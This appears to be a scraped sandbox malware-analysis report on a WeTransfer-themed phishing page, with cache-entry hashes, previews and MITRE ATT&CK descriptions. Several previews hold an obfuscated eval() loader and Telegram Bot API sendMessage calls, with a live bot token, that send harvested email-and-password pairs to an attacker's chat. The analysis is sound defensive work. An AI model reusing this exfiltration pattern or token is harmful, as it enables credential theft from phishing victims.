SHA-512:	5A7CF6CCD1A2D88F2F343048E09A992CAD617B88619763CCAC2138ADB45DCE19D39852B84CC7ECF6CC60B7F468B97DFEF289FB29303E9211D3D5407308BA1429
Malicious:	false
Reputation:	unknown
URL:	https://connexion-espacesclients.support/gkm/
Preview:	<!DOCTYPE html>.<html>.<head>.<meta charset="utf-8" />.<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />.<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />.<meta name="robots" content="noindex, nofollow" />. Start: Ad code and script tags for header of page -->. End: Ad code and script tags for header of page -->.<script type="text/javascript" charset="utf-8" data-cfasync="false">eval(decodeURIComponent(escape(window.atob('KGZ1bmN0aW9uKCl7CiAgICAgICAgdmFyIGEgPSBmdW5jdGlvbigpIHt0cnl7cmV0dXJuICEhd2luZG93LmFkZEV2ZW50TGlzdGVuZXJ9IGNhdGNoKGUpIHtyZXR1cm4gITF9IH0sCiAgICAgICAgYiA9IGZ1bmN0aW9uKGIsIGMpIHthKCkgPyBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIiwgYiwgYykgOiBkb2N1bWVudC5hdHRhY2hFdmVudCgib25yZWFkeXN0YXRlY2hhbmdlIiwgYil9OwogICAgICAgIGIoZnVuY3Rpb24oKXsKICAgICAgICAgICAgICAgICAgICAgICAgdmFyIG5vdyA9IG5ldyBEYXRlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIHZ

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.110577243331642
Encrypted:	false
SSDEEP:
MD5:	CACD04FB6ADD49B56B840AD313187806
SHA1:	5C659F8127A5D4AFC77973894A71554B474DADC7
SHA-256:	B657931ADAEC4F8DEBD30E58B0EF04AF5EECA1ED7A866E4D7AB30954FD832493
SHA-512:	2D5A1CFC7BCD10928C85A7DD1A6E28C37045C352A56FF2719CEFD175D9F24A60BC3E0948F642B0D0ABB4F1F3E8BF492DB6C2D3A6D540126F6148AC9E997354E3
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwkeXrndqANg4BIFDWclhfMSBQ1vBsgP?alt=proto
Preview:	ChIKBw1nJYXzGgAKBw1vBsgPGgA=

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52853)
Category:	dropped
Size (bytes):	407279
Entropy (8bit):	5.474566796208052
Encrypted:	false
SSDEEP:
MD5:	5B52C03627370529CB3D42054517307D
SHA1:	BE99CC0B909CBF31100DD09883C9E4C9D30082AD
SHA-256:	9E21F0E917F4B92DA9139FFC87E135F0D236E28D6EAD92F901CDF5FE7F61B4A1
SHA-512:	B7586DD68CFFBC6F2157B69D4BDE896EF971CE5E779FC884B720FCC1481E8EDC4A115D73DED1EA69B5936A79E5E7908D74604B4670D318EC2CE1E05FEB8CF49B
Malicious:	false
Reputation:	unknown
Preview:	(()=>{var qv=Object.create;var Hi=Object.defineProperty;var $v=Object.getOwnPropertyDescriptor;var Lv=Object.getOwnPropertyNames;var Mv=Object.getPrototypeOf,Nv=Object.prototype.hasOwnProperty;var df=r=>Hi(r,"__esModule",{value:!0});var hf=r=>{if(typeof require!="undefined")return require(r);throw new Error('Dynamic require of "'+r+'" is not supported')};var P=(r,e)=>()=>(r&&(e=r(r=0)),e);var x=(r,e)=>()=>(e\|\|r((e={exports:{}}).exports,e),e.exports),Ge=(r,e)=>{df(r);for(var t in e)Hi(r,t,{get:e[t],enumerable:!0})},Bv=(r,e,t)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let i of Lv(e))!Nv.call(r,i)&&i!=="default"&&Hi(r,i,{get:()=>e[i],enumerable:!(t=$v(e,i))\|\|t.enumerable});return r},pe=r=>Bv(df(Hi(r!=null?qv(Mv(r)):{},"default",r&&r.__esModule&&"default"in r?{get:()=>r.default,enumerable:!0}:{value:r,enumerable:!0})),r);var m,u=P(()=>{m={platform:"",env:{},versions:{node:"14.17.6"}}});var Fv,be,ft=P(()=>{u();Fv=0,be={readFileSync:r=>self[r]\|\|"",statSync:()=>({mtimeMs:Fv++}),pro

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	390
Entropy (8bit):	4.793833895493438
Encrypted:	false
SSDEEP:
MD5:	2C211F0473C574A3EDB70E18E84588BD
SHA1:	D1CB1DAB39D9EDA1AC17122E16F99EE4206555B7
SHA-256:	365957A9448E4A2E8EA76D275E0E66116DDEA7F6EEB478BA3138DDF75A3C39F6
SHA-512:	88A19792C81687B584267EBD8513AC3C2EEBDBC345AC9F625688993E3654498FE97DB2356FF5D9A53FA662281FCC22658DD7F87771277D721065C745B03B77B5
Malicious:	false
Reputation:	unknown
URL:	https://api.telegram.org/bot7499623592:AAG4sRR7YzmOAFkZFFwiAbBsnnHB-lXYLSk/sendMessage?chat_id=1411469413&text=%F0%9F%8E%96%EF%B8%8F%F0%9F%92%B0%20-%20tutuutututututu%40iledefrance.fr%3Atututututututututut
Preview:	{"ok":true,"result":{"message_id":1759,"from":{"id":7499623592,"is_bot":true,"first_name":"wetranchocobot","username":"wetranchocobot_bot"},"chat":{"id":1411469413,"first_name":"Pita","username":"gonpita10","type":"private"},"date":1733219314,"text":"\ud83c\udf96\ufe0f\ud83d\udcb0 - tutuutututututu@iledefrance.fr:tututututututututut","entities":[{"offset":8,"length":30,"type":"email"}]}}

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65533), with no line terminators
Category:	downloaded
Size (bytes):	369700
Entropy (8bit):	5.134379686734492
Encrypted:	false
SSDEEP:
MD5:	33F5706AA2D807612A57E32386473D2D
SHA1:	3D57348F1B199337F46D0BDFEFDE4D542956B9D6
SHA-256:	F5A3F57ACC79DDE072E54C68DF02E6A63D038BFEE32338DAED80A4EBA0DD17D2
SHA-512:	00E9337F1032AB77FDDC1F67D461F20FAA4D79AE319F991CE4484FD22A79674C8FDCCE8D499DDFF810FBEF57442B13B6303C9ECABDDE2B2F329D20841A0E601E
Malicious:	false
Reputation:	unknown
URL:	https://cdn.wetransfer.com/_next/static/css/058f98705ce4a650.css
Preview:	@font-face{font-family:Actief Grotesque;font-weight:400;font-style:normal;font-display:swap;src:local("Actief Grotesque"),url(/_next/static/media/ActiefGrotesque-Regular.f4e76979.woff2) format("woff2"),url(/_next/static/media/ActiefGrotesque-Regular.1f5abb93.woff) format("woff")}@font-face{font-family:Actief Grotesque;font-weight:500;font-style:normal;font-display:swap;src:local("Actief Grotesque"),url(/_next/static/media/ActiefGrotesque-Medium.1acd899d.woff2) format("woff2"),url(/_next/static/media/ActiefGrotesque-Medium.cab39769.woff) format("woff")}@font-face{font-family:Actief Grotesque;font-weight:900;font-style:normal;font-display:swap;src:local("Actief Grotesque"),url(/_next/static/media/ActiefGrotesque-Bold.10832e10.woff2) format("woff2"),url(/_next/static/media/ActiefGrotesque-Bold.7ded28bd.woff) format("woff")}@font-face{font-family:GT Super WT;font-weight:400;font-style:normal;font-display:swap;src:local("GT Super WT"),url(/_next/static/media/GTSuperWT-Regular.d1473b9e.woff2

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	395
Entropy (8bit):	4.781471126159518
Encrypted:	false
SSDEEP:
MD5:	FD84F0595FA85F5782044083BDB8D81E
SHA1:	DF5D0BF40DB4BDCCF5B88BCCA9F2343DDCD05FBD
SHA-256:	B9B36FE6F6616D3C7B86986CE1AB433D520423081087699B793B41DD3D0277EC
SHA-512:	D1C93B4B207A696EE1BD531720BC52C97E86699CD71403E8B15DC97E20E2EA1C5025F51677BCEA326D6BA882BC1B4EF0B84A0294AF3B5977AC9B6954C72B6C89
Malicious:	false
Reputation:	unknown
Preview:	{"ok":true,"result":{"message_id":1758,"from":{"id":7499623592,"is_bot":true,"first_name":"wetranchocobot","username":"wetranchocobot_bot"},"chat":{"id":1411469413,"first_name":"Pita","username":"gonpita10","type":"private"},"date":1733219309,"text":"\ud83c\udf96\ufe0f\ud83d\udcb0 - tutuutututututu@iledefrance.fr:tutututututututututututu","entities":[{"offset":8,"length":30,"type":"email"}]}}

Static File Info

⊘No static file info

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://connexion-espacesclients.support/gkm/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 97

Chrome Cache Entry: 98

Static File Info

Windows Analysis Report
https://connexion-espacesclients.support/gkm/